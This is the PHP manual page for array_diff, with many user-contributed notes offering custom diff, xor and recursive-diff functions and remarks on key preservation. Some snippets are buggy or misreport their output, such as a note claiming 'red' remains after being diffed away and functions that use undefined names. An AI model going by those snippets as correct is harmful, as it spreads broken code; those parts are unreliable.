Two elements are considered equal if and only if (string) $elem1 === (string) $elem2. In words: when the string representation is the same.

Note:

This function only checks one dimension of a n-dimensional array. Of course you can check deeper dimensions by using array_diff($array1[0], $array2[0]);.

See Also

  • array_diff_assoc() - Computes the difference of arrays with additional index check
  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check

User Contributed Notes

wladimir camargo 25-Jul-2011 10:23
This is my simple function do compare two arrays. It adds the deleted values from the original array.

<?php
function array_diff_($old_array,$new_array) {
        foreach($new_array as $i=>$l){
                if($old_array[$i] != $l){
                        $r[$i]=$l;
                }
        }

        //adding deleted values
        foreach($old_array as $i=>$l){
                if(!$new_array[$i]){
                        $r[$i]="";
                }
        }
        return $r;
}
?>
eugeny dot yakimovitch at gmail dot com 30-Dec-2010 03:17
Note that array_diff is not equivalent to

<?php
function fullArrayDiff($left, $right)
{
    return array_diff(array_merge($left, $right), array_intersect($left, $right));
}
?>

since it is a set-theoretical complement as in

http://en.wikipedia.org/wiki/Complement_(set_theory)
javierchinapequeno at yahoo dot es 21-Dec-2010 11:21
Hi, I´d like to give a piece of advice to all who need to use this function to compare two arrays that have a great quantity of elements. You should sort both arrays first before comparing, it will work faster.
Thanks
webmaster at drakkofox dot net 15-Oct-2010 07:48
If you simply want to verify if a array is different of another one, use IF.

array_diff was returning a empty array when i received values from a form and compared they both(one was from a input type hidden array, and another was from input type checkbox), even if one of they were different. i tried switching places between arr1 and arr2, no good.
thefrox at gmail dot com 30-Jun-2010 05:28
Multidimensional array_diff

<?php
echo '<pre>';
$bdd['80395']= array('80396','80397','80398','777');
$folder['80395']= array('80396','80397','666','80398','154223');
$folder['80397']= array('34','35','36','45','57');

echo '<hr>';

function multidimensional_array_diff($a1,$a2)
{
  $r = array();

 foreach ($a2 as $key => $second)
 {
      foreach ($a1 as $key => $first)
      {

            if (isset($a2[$key]))
            {
                foreach ($first as $first_value)
                {
                    foreach ($second as $second_value)
                    {
                        if ($first_value == $second_value)
                        {
                            $true = true;
                            break;
                        }
                    }
                    if (!isset($true))
                    {

                        $r[$key][] = $first_value;
                    }
                    unset($true);
                }
            }
            else
            {
                $r[$key] = $first;
            }
      }
 }
  return $r;
}
print_r(single_diff_assoc($folder,$bdd));
?>

RESULT :

Array
(
    [80395] => Array
        (
            [0] => 666
            [1] => 154223
        )

    [80397] => Array
        (
            [0] => 34
            [1] => 35
            [2] => 36
            [3] => 45
            [4] => 57
        )

)
S Gower 15-Feb-2010 02:45
array_diff does not create a new array containing the values present in $array1 but not $array2 -- it simply unsets all of the value in $array1 that are in $array2 and returns it.

This means that the indexes of the returned array are typically not continuous from zero. For example:

<?php

$array1 = array('red', 'blue', 'green', 'octarine');
$array2 = array('red', 'yellow', 'green');
$diff = array_diff($array1, $array2);

print_r($diff); //Array ( [1] => blue [3] => octarine )

?>

The easiest way around this seems to be use array_merge:

<?php

print_r(array_merge($diff)) //Array ( [0] => blue [1] => octarine )

?>
pikiou at somethinggooglerelated dot com 13-Nov-2009 04:24
With previous solutions handling multi-dimensional arrays or objects through serialization, if compared variables contain references at some point, these will be serialized and stand as such after the diff function.
Here is a safer solution :
<?php
function array_diff_no_cast(&$ar1, &$ar2) {
   $diff = Array();
   foreach ($ar1 as $key => $val1) {
      if (array_search($val1, $ar2) === false) {
         $diff[$key] = $val1;
      }
   }
   return $diff;
}
?>

Example:
<?php
$referenced = Array(1,1);
$array1 = Array(&$referenced, Array(2,3));
$array2 = Array(Array(1,1), Array(4,5));
$result = array_diff_no_cast($array1, $array2);

print_r($result);   //Outputs Array(1 => Array(2,3))
//And $referenced stands unchanged (not serialized)
?>
vojtech dot hordejcuk at gmail dot com 03-Nov-2009 07:15
Based on one lad's code, I created following function for creating something like HTML diff. I hope it will be useful.

<?php
private function diff ($old, $new)
{
  $old = preg_replace ('/ +/', ' ', $old);
  $new = preg_replace ('/ +/', ' ', $new);

  $lo = explode ("\n", trim ($old) . "\n");
  $ln = explode ("\n", trim ($new) . "\n");
  $size = max (count ($lo), count ($ln));

  $equ = array_intersect ($lo, $ln);
  $ins = array_diff ($ln, $lo);
  $del = array_diff ($lo, $ln);

  $out = '';

  for ($i = 0; $i < $size; $i++)
  {
    if (isset ($del [$i]))
    {
      $out .= '<p><del>' . $del [$i] . '</del></p>';
    }

    if (isset ($equ [$i]))
    {
      $out .= '<p>' . $equ [$i] . '</p>';
    }

    if (isset ($ins [$i]))
    {
      $out .= '<p><ins>' . $ins [$i] . '</ins></p>';
    }
  }

  return $out;
}
?>
Anonymous 15-Oct-2009 11:55
Hi!
I tried hard to find a solution to a problem I'm going to explain here, and after have read all the array functions and possibilities, I had to create what I think should exist on next PHP releases.

What I needed, it's some kind of Difference, but working with two arrays and modifying them at time, not returning an array as a result with the diference itself.

So, as an example:

A = 1,2,3
B = 2,3,4

should NOT be:

C = 1,4

but:

A = 1
B = 4

so basically, I wanted to delete coincidences on both arrays.

Now, I've some actions to do, and I know wich one I've to do with the values from one array or another.
With the normal DIFF I can't, because if I've an array like C=1,4, I dont know if I've to do the Action_A with 1 or with 4, but I really know that everything in A, will go to the Action_A and everithing in B, will go to Action_B. So same happens with 4, don't know wich action to apply...

So I created this:

<?php
function array_diff_ORG_NEW(&$org, &$new, $type='VALUES'){
    switch($type){
        case 'VALUES':
            $int = array_values(array_intersect($org, $new)); //C = A ^ B
            $org = array_values(array_diff($org, $int)); //A' = A - C
            $new= array_values(array_diff($new, $int)); //B' = B - C
            break;
        case 'KEYS':
            $int = array_values(array_intersect_key($org, $new)); //C = A ^ B
            $org = array_values(array_diff_key($org, $int)); //A' = A - C
            $new= array_values(array_diff_key($new, $int)); //B' = B - C
            break;
    }
}
?>

This cute, works by reference, and modifies the arrays deleting coincidences on both, and leaving intact the non coincidences.

So a call to this will be somethin' like:

<?php
$original = array(1,2,3);
$new = array(2,3,4);

array_diff_ORG_NEW($original, $new, 'VALUES');
?>

And HERE, I'll have my arrays as I wanted:

$original = 1
$new = 4

Now, why I use it precisely?

Imagine you've some "Events" and some users you select when create the event, can "see" this event you create. So you "share" the event with some users. Ok?

Imagine you created and Event_A, and shared with users 1,2,3.

Now you want to modify the event, and you decide to modify the users to share it. Imagine you change it to users 2,3,4.

(numbers are users ID).

So you can manage when you are going to modify, to have an array with the IDs in DDBB ($original), and then, have another array with ID's corresponding to the users to share after modifying ($new). Wich ones you've to DELETE from DDBB, and wich ones do you've to INSERT?

If you do a simple difference or somehow, you get somethin' like C=1,4.
You have no clue on wich one you've to insert or delete.

But on this way, you can know it, and that's why:

- What keeps on $original, it's somethin not existing in $new at the beggining. So you know that all what you've inside $original, have to be deleted from DDBB because what you did in the modifying process, it's to unselect those users keeping in $original.
- What keeps on $new, it's something not existing in $original at the beggining. Wich means that in the modifying process you added some new users. And those have to be inserted in DDBB. So, everything keeping inside $new, have to be inserted in the DDBB.

Conclusion:

- Remaining in $original --> delete from DB.
- Remaining in $new --> insert into DB.

And that's all!

I hope you find it useful, and I encourage PHP "makers", to add in a not distant future, somethin' like this one natively, because I'm shure that I'm not the first one needing something like this.

Best regards all,

Light.
firegun at terra dot com dot br 24-Jun-2009 10:52
Hello guys,

I´ve been looking for a array_diff that works with recursive arrays, I´ve tried the ottodenn at gmail dot com function but to my case it doesn´t worked as expected, so I made my own. I´ve haven´t tested this extensively, but I´ll explain my scenario, and this works great at that case :D

We got 2 arrays like these:

<?php
$aArray1['marcie'] = array('banana' => 1, 'orange' => 1, 'pasta' => 1);
$aArray1['kenji'] = array('apple' => 1, 'pie' => 1, 'pasta' => 1);

$aArray2['marcie'] = array('banana' => 1, 'orange' => 1);
?>

As array_diff, this function returns all the items that is in aArray1 and IS NOT at aArray2, so the result we should expect is:

<?php
$aDiff['marcie'] = array('pasta' => 1);
$aDiff['kenji'] = array('apple' => 1, 'pie' => 1, 'pasta' => 1);
?>

Ok, now some comments about this function:
 - Different from the PHP array_diff, this function DON´T uses the === operator, but the ==, so 0 is equal to '0' or false, but this can be changed with no impacts.
 - This function checks the keys of the arrays, array_diff only compares the values.

I realy hopes that this could help some1 as I´ve been helped a lot with some users experiences. (Just please double check if it would work for your case, as I sad I just tested to a scenario like the one I exposed)

<?php
function arrayRecursiveDiff($aArray1, $aArray2) {
    $aReturn = array();

    foreach ($aArray1 as $mKey => $mValue) {
        if (array_key_exists($mKey, $aArray2)) {
            if (is_array($mValue)) {
                $aRecursiveDiff = arrayRecursiveDiff($mValue, $aArray2[$mKey]);
                if (count($aRecursiveDiff)) { $aReturn[$mKey] = $aRecursiveDiff; }
            } else {
                if ($mValue != $aArray2[$mKey]) {
                    $aReturn[$mKey] = $mValue;
                }
            }
        } else {
            $aReturn[$mKey] = $mValue;
        }
    }

    return $aReturn;
}
?>
pyerre 12-Sep-2008 06:20
be careful kids, this function can be tricky
<?php
$tab1=array(0=>"a");
$tab2=array(0=>"a",1=>"b");

print_r(array_diff($tab1,$tab2));
?>
gives
Array
(
)
Tim Trefren 04-Apr-2008 08:05
Here's a little wrapper for array_diff - I found myself needing to iterate through the edited array, and I didn't need to original keys for anything.

<?php
function arrayDiff($array1, $array2){
    # This wrapper for array_diff rekeys the array returned
    $valid_array = array_diff($array1,$array2);

    # reinstantiate $array1 variable
    $array1 = array();

    # loop through the validated array and move elements to $array1
    # this is necessary because the array_diff function returns arrays that retain their original keys
    foreach ($valid_array as $valid){
        $array1[] = $valid;
        }
    return $array1;
    }
?>
merlinyoda at dorproject dot net 28-Mar-2008 10:11
As touched on in kitchin's comment of 19-Jun-2007 03:49 and nilsandre at gmx dot de's comment of 17-Jul-2007 10:45, array_diff's behavior may be counter-intuitive if you aren't thinking in terms of set theory.

array_diff() returns a *mathematical* difference (a.k.a. subtraction) of elements in array A that are in array B and *not* what elements are different between the arrays (i.e. those that elements that are in either A or B but aren't in both A and B).

Drawing one of those Ven diagrams or Euler diagrams may help with visualization...

As far as a function for returning what you may be expecting, here's one:

<?php
function array_xor ($array_a, $array_b) {
    $union_array = array_merge($array_a, $array_b);
    $intersect_array = array_intersect($array_a, $array_b);
    return array_diff($union_array, $intersect_array)
}
?>
radim at badsi dot info 05-Sep-2007 02:03
array_diff doesn't work with arrays of objects because it compares the string-represantation of the arguments (which is always "Object" for an object).

Here is an easy way to compute the difference of two arrays of objects :

<?php

...

function array_obj_diff ($array1, $array2) {

    foreach ($array1 as $key => $value) {
        $array1[$key] = serialize ($value);
    }

    foreach ($array2 as $key => $value) {
        $array2[$key] = serialize ($value);
    }

    $array_diff = array_diff ($array1, $array2);

    foreach ($array_diff as $key => $value) {
        $array_diff[$key] = unserialize ($value);
    }

    return $array_diff;
}

array_obj_diff ($ao1, $ao2);
?>
asdf at asdf dot com 14-Aug-2007 05:21
Even tough the description of this function's behavior has changed it
does not appear as tough the function's behavior has changed.  Below is some test code and its output:

<?php

    $a = array('1','2','3','4','5');
    $b = array('1','a','b','c','d','e');
    $c = array('2','f','g','h','i','j');

    print_r(array_diff($a, $b, $c));

?>

Array
(
    [2] => 3
    [3] => 4
    [4] => 5
)
nilsandre at gmx dot de 17-Jul-2007 09:45
Again, the function's description is misleading right now. I sought a function, which (mathematically) computes A - B, or, written differently, A \ B. Or, again in other words, suppose

A := {a1, ..., an} and B:= {a1, b1, ... , bm}

=> array_diff(A,B) = {a2, ..., an}

array_diff(A,B) returns all elements from A, which are not elements of B (= A without B).

You should include this in the documentation more precisely, I think.
mr dot kschan at gmail dot com 12-Jul-2007 09:16
just comment ... i don't know whether the following implementation of array_diff is having a much better meaning to the function name.

function ary_diff( $ary_1, $ary_2 ) {
  // compare the value of 2 array
  // get differences that in ary_1 but not in ary_2
  // get difference that in ary_2 but not in ary_1
  // return the unique difference between value of 2 array
  $diff = array();

  // get differences that in ary_1 but not in ary_2
  foreach ( $ary_1 as $v1 ) {
    $flag = 0;
    foreach ( $ary_2 as $v2 ) {
      $flag |= ( $v1 == $v2 );
      if ( $flag ) break;
    }
    if ( !$flag ) array_push( $diff, $v1 );
  }

  // get difference that in ary_2 but not in ary_1
  foreach ( $ary_2 as $v2 ) {
    $flag = 0;
    foreach ( $ary_1 as $v1 ) {
      $flag |= ( $v1 == $v2 );
      if ( $flag ) break;
    }
    if ( !$flag && !in_array( $v2, $diff ) ) array_push( $diff, $v2 );
  }

  return $diff;
}

i think array_diff should return the difference between the array independent of the order of passing the parameter.
kitchin 19-Jun-2007 02:49
Until recently, the description said:
"array_diff() returns an array containing all the values of array1 that are not present in any of the other arguments. Note that keys are preserved."

Now it says:
"Compares array1 against array2 and returns the difference."

Now it's not clear what the optional arguments after the first two do.  Also, the difference is not symmetric in its arguments (that is array_intersect).
gilthans at NOgmailSPAM dot com 13-Jun-2007 10:11
I needed a function to only remove the element the amount of times he appears in the second array. In other words, if you have Array(1, 1, 2) and Array(1), the return value should be Array(1, 2).
So I built this function right here:

<?php
function array_diff_once(){
    if(($args = func_num_args()) < 2)
        return false;
    $arr1 = func_get_arg(0);
    $arr2 = func_get_arg(1);
    if(!is_array($arr1) || !is_array($arr2))
        return false;
    foreach($arr2 as $remove){
        foreach($arr1 as $k=>$v){
            if((string)$v === (string)$remove){ //NOTE: if you need the diff to be STRICT, remove both the '(string)'s
                unset($arr1[$k]);
                break; //That's pretty much the only difference from the real array_diff :P
            }
        }
    }
    //Handle more than 2 arguments
    $c = $args;
    while($c > 2){
        $c--;
        $arr1 = array_diff_once($arr1, func_get_arg($args-$c+1));
    }
    return $arr1;
}
$arr1 = Array("blue", "four"=>4, "color"=>"red", "blue", "green", "green", "name"=>"jon", "green");
$arr2 = Array("4", "red", "blue", "green");
print_r(array_diff_once($arr1, $arr2));
?>
This prints:
Array ( [1] => blue [3] => green [name] => jon [4] => green )

Note that it removes the elements left to right, opposite to what you might expect; in my case the order of elements had no importance. Fixing that would require a small variation.
tim at php dot user 04-Jun-2007 08:06
The description is wrong, array_diff() returns an array consisting of all elements in $array1 that are not in $array2. The example shows this.

Thats how it works on my php anyway.
ahigerd at stratitec dot com 01-Feb-2007 02:30
An earlier comment suggested using array_merge() to reindex the array. While this will work, array_values() is about 30-40% faster and accomplishes the same task.
03-Aug-2006 12:30
array_diff provides a handy way of deleting array elements by their value, without having to unset it by key, through a lengthy foreach loop and then having to rekey the array.

<?php

//pass value you wish to delete and the array to delete from
function array_delete( $value, $array)
{
    $array = array_diff( $array, array($value) );
    return $array;
}
?>
Colin 25-Jul-2006 09:44
Undocumented return:  it appears this will return NULL if an error occurs (e.g., an argument is not an array) and is not caught.

<?
@array_diff(NULL, array(1));
@array_diff(array(1), NULL);
@array_diff();
?>

All return NULL.  (Note the "@")
ben dot lancaster at design-ontap dot co dot uk 07-Jul-2006 04:57
One common caveat of this function is that if the arrays match, an empty array is return, not a strict boolean. E.g.:

<?php
$array1 = $array2 = array('a','b','c');

var_dump(array_diff($array1,$array2));
/*
 *Returns:
 * array(0) {
 * }
 */
?>
pavlicic at NOSPAM dot hotmail dot com 09-Mar-2006 01:55
<?php

// first array
$vid_player = $vm->getVideosByPlayer($player);

// second array
$vid_playlist = $vm->getVideosByPlaylist($playlist);

// this will not work...
$vid_player = array_diff($vid_player, $vid_playlist);

// but if you do this first...
$videos = array();
foreach ( $vid_player as $player )
{
    if ( $vid_playlist != null )
    {
        foreach ( $vid_playlist as $video )
        {
            if ( $player->id == $video->id )
                $videos[] = $player;
        }
    }
}

// this will work...
$vid_player = array_diff($vid_player, $videos);

?>
The first array_diff() compares two arrays only to find out that all the objects are unique!
Jappie 22-Jan-2006 10:40
Sorry for the bug in my last comment (probably rightfully removed by the admins).
If you want to compare more than 2 arrays, or don't know how many arrays need to be compared, this is your function:

<?php
# An extention to array_diff:
# It returns an array of all values not present in all arrays given. If '$strict' is true,
# it returns all values not present or not in the same order in all arrays given. The
# arrays to compare must be placed in another array, which is used as argument '$arrays'.
# Returns false if the '$arrays' is invalid.
function array_rdiff ($arrays, $strict = false) {
    # check if argument is valid.
    if (!is_array ($arrays))
        return false;
    foreach ($arrays as $array)
        if (!is_array ($array))
            return false;

    # set working variables
    $diff    = array ();
    $amount  = count ($arrays);
    $needles = array_shift ($arrays);

    # compare
    for ($n = 0; $n < $amount; $n++) {
        for ($m = 0; $needles[$m]; $m++) {
            $found     = true;
            $positions = array ($m);
            foreach ($arrays as $haystack) {
                if (($pos = array_search ($needles[$m], $haystack)) === false)
                    $found = false;
                if ($strict)
                    $positions[] = $pos;
            }
            if (!$found)
                $diff[] = $needle;
            elseif ($strict && (count (array_unique ($positions)) > 1))
                $diff[] = $needle;
        }
        $arrays[] = $needles;
        $needles  = array_shift ($arrays);
    }
    return array_unique ($diff);
}
?>
Simon Riget at paragi.dk 21-Jan-2006 05:27
A simple multidimentional key aware array_diff function.

<?php
function arr_diff($a1,$a2){
  foreach($a1 as $k=>$v){
    unset($dv);
    if(is_int($k)){
      // Compare values
      if(array_search($v,$a2)===false) $dv=$v;
      else if(is_array($v)) $dv=arr_diff($v,$a2[$k]);
      if($dv) $diff[]=$dv;
    }else{
      // Compare noninteger keys
      if(!$a2[$k]) $dv=$v;
      else if(is_array($v)) $dv=arr_diff($v,$a2[$k]);
      if($dv) $diff[$k]=$dv;
    }
  }
  return $diff;
}
?>

This function meets my immidiate needs but I'm shure it can be improved.
doug at NOSPAM dot thrutch dot co dot uk 06-Jan-2006 04:22
After spending half an hour scratching my head wondering why this function wasn't working I realised I had the arguments the wrong way round!

I needed to remove the contents of $array1 from $array2 so I tried:

<?php
$diff    = array_diff($members1, $members2);
?>

WRONG!! A quick swap around and things worked smoothly...

<?php
$diff    = array_diff($members2, $members1);
?>

Hope this saves someone a bit of bother
air at multi dot fi 04-Jan-2006 03:41
A small thing that caused me trouble today, wich I don't see listed on this page is that array_diff keeps the placing for the uniqe values, and removes the duplicated. This gives us empty fields in the array, wich caused me a lot of trouble. The solutions was simply to use array_merge() around the array_diff.

For example:
$array1 = array('blue', 'red', 'green');
$array2 = array('red');

array_diff($array1, $array2);

Will give us:
------
Array
(
   [0] => red
   [1] =>
   [2] => green
)

But if we use:

array_merge(array_diff($array1, $array2));

We will get:
------
Array
(
   [0] => red
   [1] => green
)
Viking Coder 03-Jan-2006 09:07
To anybody wanting a double-sided array_diff - mentioned by rudigier at noxx dot at. Remember, array_diff gives you everything in the first array that isn't in the subsequent arrays.

$array1=array('blue','red','green');
$array2=array('blue','yellow','green');

array_merge(array_diff($array1, $array2),array_diff($array2, $array1));

Result
------
Array
(
    [0] => red
    [1] => yellow
)
white_phoenix at ru dot ru 14-Dec-2005 11:37
To: effectpenguin at antarctida dot ru
Re: interesting effect
<?php
function arraycpy(&$target,&$array)
{
 if (!is_array($target)) {$target = array();}
 foreach($array as $k=>$v) {if ($k != "GLOBALS") {$target[$k] = $v;}}
}
arraycpy($old,$GLOBALS);
// some actions with variables:
$homer = "beer";
arraycpy($new,$GLOBALS);
$diff = array_diff($new,$old);
var_dump($diff);
?>
array(1) {
  ["homer"]=>
  string(4) "beer"
}
Windows NT WPX_NB 5.1 build 2600 PHP/5.0.4
penguin at antarctida dot ru 06-Oct-2005 05:41
Interesting effect...
I just wanted to see, what variables are created and not unset after some actions.
So I write:

<?php
$a_var_GlobalsBefore = $GLOBALS;
?>
...some actions with variables
<?php
$a_var_GlobalsAfter = $GLOBALS;
$a_var_VariablesNotUnset = array_diff ($a_var_GlobalsAfter, $a_var_GlobalsBefore);
?>

...and _ALL_ variables puff up in smoke.

Have no idea what causes this behavior, but found a nice workaround:

<?php
$a_var_GlobalsBefore = array_keys ($GLOBALS);
?>
...some actions with variables
<?php
$a_var_GlobalsAfter = array_keys ($GLOBALS);
$a_var_VariablesNotUnset = array_diff ($a_var_GlobalsAfter, $a_var_GlobalsBefore);
?>

...and the unset variables are here.
rafmav 19-Apr-2005 04:24
Here is a few functions to do a fast diff between two arrays in a few lines.
You can use it with other functions described in the function array_merge : array_merge_replace from an other user, and two functions using it : array_merge_diff and array_merge_diff_reverse.
Note that the keys are preserved!
<?
// returns a two dimensions array with the deleted data
// and the added data
function array_diff_both($new,$old)
{
    $del=array_diff_assoc($old,$new);
    $add=array_diff_assoc($new,$old);
    return $diff=array("del"=>$del, "add"=>$add);
}

// returns a two dimensions array with the equal data,
// deleted data and the added data
function array_diff_all($arr_new,$arr_old)
{
    $arr_equ=array_intersect_assoc($arr_new,$arr_old);
    $arr_del=array_diff_assoc($arr_old,$arr_new);
    $arr_add=array_diff_assoc($arr_new,$arr_old);
    return $diff=array("equ"=>$arr_equ, "del"=>$arr_del, "add"=>$arr_add);
}
?>
rudigier at noxx dot at 09-Feb-2005 10:53
if you don't like the php diff (like me) then take look at my diff functions

if you have two arrays, lets say:

a1 = { blue, red, green }
a2 = { blue, yellow, green }

array_diff just gives me nothing, although there is a difference. instead of an empty array, i needed an array which should contain "red" and "yellow" in this case.

single_diff satisfies my wish.

function single_diff(&$a1,&$a2)
{
  $r = array(); // return

  foreach ($a1 as $pl) // payload
  {
    if (! in_array($pl, $a2, true) )
      $r[] = $pl;
  }

  foreach ($a2 as $pl) // payload
  {
    if (! in_array($pl, $a1, true) && ! in_array($pl, $r, true) )
      $r[] = $pl;
  }
  return $r;
}

--------------------
this one just keeps the keys of the arrays in mind by comparing the values directly. just in case if there are values, which might occur multiple in one of these arrays.

function single_diff_assoc(&$a1,&$a2)
{
  $r = array(); // return

  foreach ($a1 as $k => $pl) // payload
  {
    if (! isset($a2[$k]) || $a2[$k] != $pl)
      $r[$k] = $pl;
  }

  foreach ($a2 as $k => $pl) // payload
  {
    if ( (! isset($a1[$k]) || $a1[$k] != $pl ) && ! isset($r[$k]) )
      $r[$k] = $pl;
  }
  return $r;
}

recursion support might be useful, but feel free to modify this functions to your own purposes.
j dot j dot d dot mol at ewi dot tudelft dot nl 31-Dec-2004 12:34
Here is some code to take the difference of two arrays. It allows custom modifications like prefixing with a certain string (as shown) or custom compare functions.

<?php
 // returns all elements in $all which are not in $used in O(n log n) time.
  // elements from $all are prefixed with $prefix_all.
  // elements from $used are prefixed with $prefix_used.
  function filter_unused( $all, $used, $prefix_all = "", $prefix_used = "" ) {
      $unused = array();

      // prefixes are not needed for sorting
      sort( $all );
      sort( $used );

      $a = 0;
      $u = 0;

      $maxa = sizeof($all)-1;
      $maxu = sizeof($used)-1;

      while( true ) {
          if( $a > $maxa ) {
              // done; rest of $used isn't in $all
              break;
          }
          if( $u > $maxu ) {
              // rest of $all is unused
              for( ; $a <= $maxa; $a++ ) {
                  $unused[] = $all[$a];
              }
              break;
          }

          if( $prefix_all.$all[$a] > $prefix_used.$used[$u] ) {
              // $used[$u] isn't in $all?
              $u++;
              continue;
          }

          if( $prefix_all.$all[$a] == $prefix_used.$used[$u] ) {
              // $all[$a] is used
              $a++;
              $u++;
              continue;
          }

          $unused[] = $all[$a];

          $a++;
      }

      return $unused;
  }
?>
sire at coolquotescollection dot com 25-Nov-2003 05:52
Continuing from r.kirschke's excellent diff function (above), here's a function that will turn the result into nicely formatted HTML:

<?php
echo "<html><body bgcolor=white>";

$oldString = "Once there was a boy named Bart and a girl named Lisa.";
$newString = "Once upon a time there was a girl named Lisa.";

echo "Old String: " . $oldString . "<br>";
echo "New String: " . $newString . "<br>";
echo "Difference: " . diff_to_html($oldString, $newString);
// Returns a nicely formatted html string
function diff_to_html($oldString, $newString)
{
  $a1 = explode(" ", $oldString);
  $a2 = explode(" ", $newString);
  $result = arr_diff($a1, $a2);

  foreach ($result[0] as $num => $foo)
  {
    $source = $result[1][$num];
    $element = $result[0][$num];

    switch ($source)
    {
      case "1":
        $pre = "<font color=red><s>";
        $post = "</s></font>";
        break;
      case "2":
        $pre = "<font color=green>";
        $post = "</font>";
        break;
      case "b":
        $pre = "";
        $post = "";
        break;
    }
    // VERTICAL OUTPUT:
    // $return .= $num . $pre . " " . $source .
    // " " . $element . $post . "<br>";
    // READABLE OUTPUT:
    $return .= $pre . $element . $post . " ";
  }
  return $return;
}

?>
18-Nov-2003 04:54
From the page:
Note:  Please note that this function only checks one dimension of a n-dimensional array. Of course you can check deeper dimensions by using array_diff($array1[0], $array2[0]);

I've found a way to bypass that. I had 2 arrays made of arrays.
I wanted to extract from the first array all the arrays not found in the second array. So I used the serialize() function:

<?php
function my_serialize(&$arr,$pos){
  $arr = serialize($arr);
}

function my_unserialize(&$arr,$pos){
  $arr = unserialize($arr);
}

 //make a copy
$first_array_s = $first_array;
$second_array_s = $second_array;

// serialize all sub-arrays
array_walk($first_array_s,'my_serialize');
array_walk($second_array_s,'my_serialize');

// array_diff the serialized versions
$diff = array_diff($first_array_s,$second_array_s);

// unserialize the result
array_walk($diff,'my_unserialize');

// you've got it!
print_r($diff);
?>
d dot u dot phpnet at holomind dot de 26-Mar-2003 11:48
I was not satisfied with the compare-funtions of array_diff() so i wrote a litte diff-clone which compares arrays and shows all different entries. You can easliy change the function formatline() for your needs.

function arr_diff( $a1, $a2, $show_matches=0);
...
output:
1 : 1 : - <head><title>Text</title></head>
1 : 1 : + <head><title>Text2</title></head>
4 : 4 : - code b
4 : 4 : + code a
8 : 8 : - code f

See details on:  (example and source)

http://www.holomind.de/phpnet/diff.php
http://www.holomind.de/phpnet/diff.src.php
r dot kirschke at gmx dot net 24-Mar-2003 01:26
Are you looking for a function which returns an edit script (a set of insert and delete instructions on how to change one array into another)? At least, that's what I hoped to find here, so here's some code based on http://www.cs.arizona.edu/people/gene/PAPERS/diff.ps :

<?php
function diff_rek(&$a1,&$a2,$D,$k,&$vbck)
{
 $x=$vbck[$D][$k]; $y=$x-$k;
 if ($D==0)
 {
  if ($x==0) return array(array(),array());
  else
  return array(array_slice($a1,0,$x),array_fill(0,$x,"b"));
 }
 $x2=$vbck[$D-1][$k+1];
 $y2=$vbck[$D-1][$k-1]-($k-1);
 $xdif=$x-$x2; $ydif=$y-$y2;
 $l=min($x-$x2,$y-$y2);
 $x=$x-$l;
 $y=$y-$l;
 if ($x==$x2)
 {
   $res=diff_rek($a1,$a2,$D-1,$k+1,$vbck);
   array_push($res[0],$a2[$y-1]);
   array_push($res[1],"2");
   if ($l>0)
   {
    $res[0]=array_merge($res[0],array_slice($a2,$y,$l));
    $res[1]=array_merge($res[1],array_fill(0,$l,"b"));
   }
 }
 else
 {
   $res=diff_rek($a1,$a2,$D-1,$k-1,$vbck);
   array_push($res[0],$a1[$x-1]);
   array_push($res[1],"1");
   if ($l>0)
   {
    $res[0]=array_merge($res[0],array_slice($a1,$x,$l));
    $res[1]=array_merge($res[1],array_fill(0,$l,"b"));
   }
 }
 return $res;
}

function arr_diff(&$a1,&$a2)
{
 $max=70;
 $c1=count($a1);
 $c2=count($a2);
 $v[1]=0;
 for ($D=0; $D<=$max; $D++)
 {
   for ($k=-$D; $k<=$D; $k=$k+2)
  {
   if (($k==-$D) || ($k!=$D && $v[$k-1]<$v[$k+1]))
    $x=$v[$k+1];
   else
    $x=$v[$k-1]+1;
   $y=$x-$k;
   while (($x<$c1)&&($y<$c2)&&($a1[$x]==$a2[$y]))
    {
     $x++;
     $y++;
    }
    $v[$k]=$x;
    if (($x>=$c1)&&($y>=$c2))
   {
    $vbck[$D]=$v;
    return diff_rek($a1,$a2,$D,$c1-$c2,$vbck);
   };
  }
  $vbck[$D]=$v;
 };
 return -1;
}
?>

This works on arrays of all elements for which the operator "==" is defined.
arr_dif($a1,$a2) returns an array of two arrays:
$result[0] = array of elements from $a1 and $a2
$result[1] = array of chars - one for each element from $result[0]:
 "1" : The corresponding element is from $a1
 "2" : The corresponding element is from $a2
 "b" : The correspondig element is from both source arrays
The function returns -1, when the number of different elements is greater than $max

Example:
$a1=array("hello","world");
$a2=array("good","bye","world");
=> arr_diff($a1,$a2) = array(array("hello","good","bye","world"), array("1","2","2","b"));
csaba2000 at yahoo dot com 25-Feb-2003 01:58
<?php
function array_key_diff($ar1, $ar2) {  // , $ar3, $ar4, ...
    // returns copy of array $ar1 with those entries removed
    // whose keys appear as keys in any of the other function args
    $aSubtrahends = array_slice(func_get_args(),1);
    foreach ($ar1 as $key => $val)
        foreach ($aSubtrahends as $aSubtrahend)
            if (array_key_exists($key, $aSubtrahend))
                unset ($ar1[$key]);
    return $ar1;
}

$a = array("c" => "catty", "b" => "batty", "a" => "aunty", 5 => 4, 2.9 => 7, 11, "n" => "nutty");
$b = array(9, "d" => "ditty", "b" => "bratty", "a" => null, 10, 13);
$c = array_key_diff ($a, $b, array(5 => 6));
?>

$c is then equivalent to array('c' => 'catty', 6 => 11, 'n' => 'nutty')

Csaba Gabor from New York
ds2u at the hotmail dot com 23-Feb-2003 04:22
Yes you can get rid of gaps/missing keys by using:

<?php
$result = array_values(array_diff($array1,$array2));
?>

But to drop the storage of void spaces (actually a line feed) which are irritatingly indexed when reading from files - just use difference:

<?php
$array = array ();
$array[0] = "\n";
$result = array_diff($result,$array);
?>

dst
jg at sto dot com dot au 02-Nov-2002 01:54
I have found an interesting use for array_diff. I remember seing somebody having trouble deleting from an array because it left "holes".

I thought about using array_diff to fix the problem. Try running this code and see what it does:

<?php

for($i=0;$i<4;$i++)
{
print("Deleting item $i from the array<BR>");

$my_array = array("value1","value2","value3","value4");

$my_array = array_diff($my_array,array_slice($my_array,$i,1));

foreach($my_array as $value)print("    -->$value<BR>\n");
}
?>

It seems to work for every member of the array. I'm not sure how efficient it would be on really large arrays, though.

JG Estiot
drNOSPAMtdiggersSPAMNO at hotmail dot com 06-Aug-2002 01:10
array_diff does not have buggy behavior as described above.  The problem stems from calling array_diff() each time in the loop, therefore regererating a new array with an index always at the beginning EVERY time, so each will always pick the first entry.  This is not buggy, but in fact what you've told the program to do :)  The solution is not as much a solution, but properly instructing the program what to do!

Cheers!
TheoDiggers
arjanz at intermax dot nl 09-Apr-2002 11:53
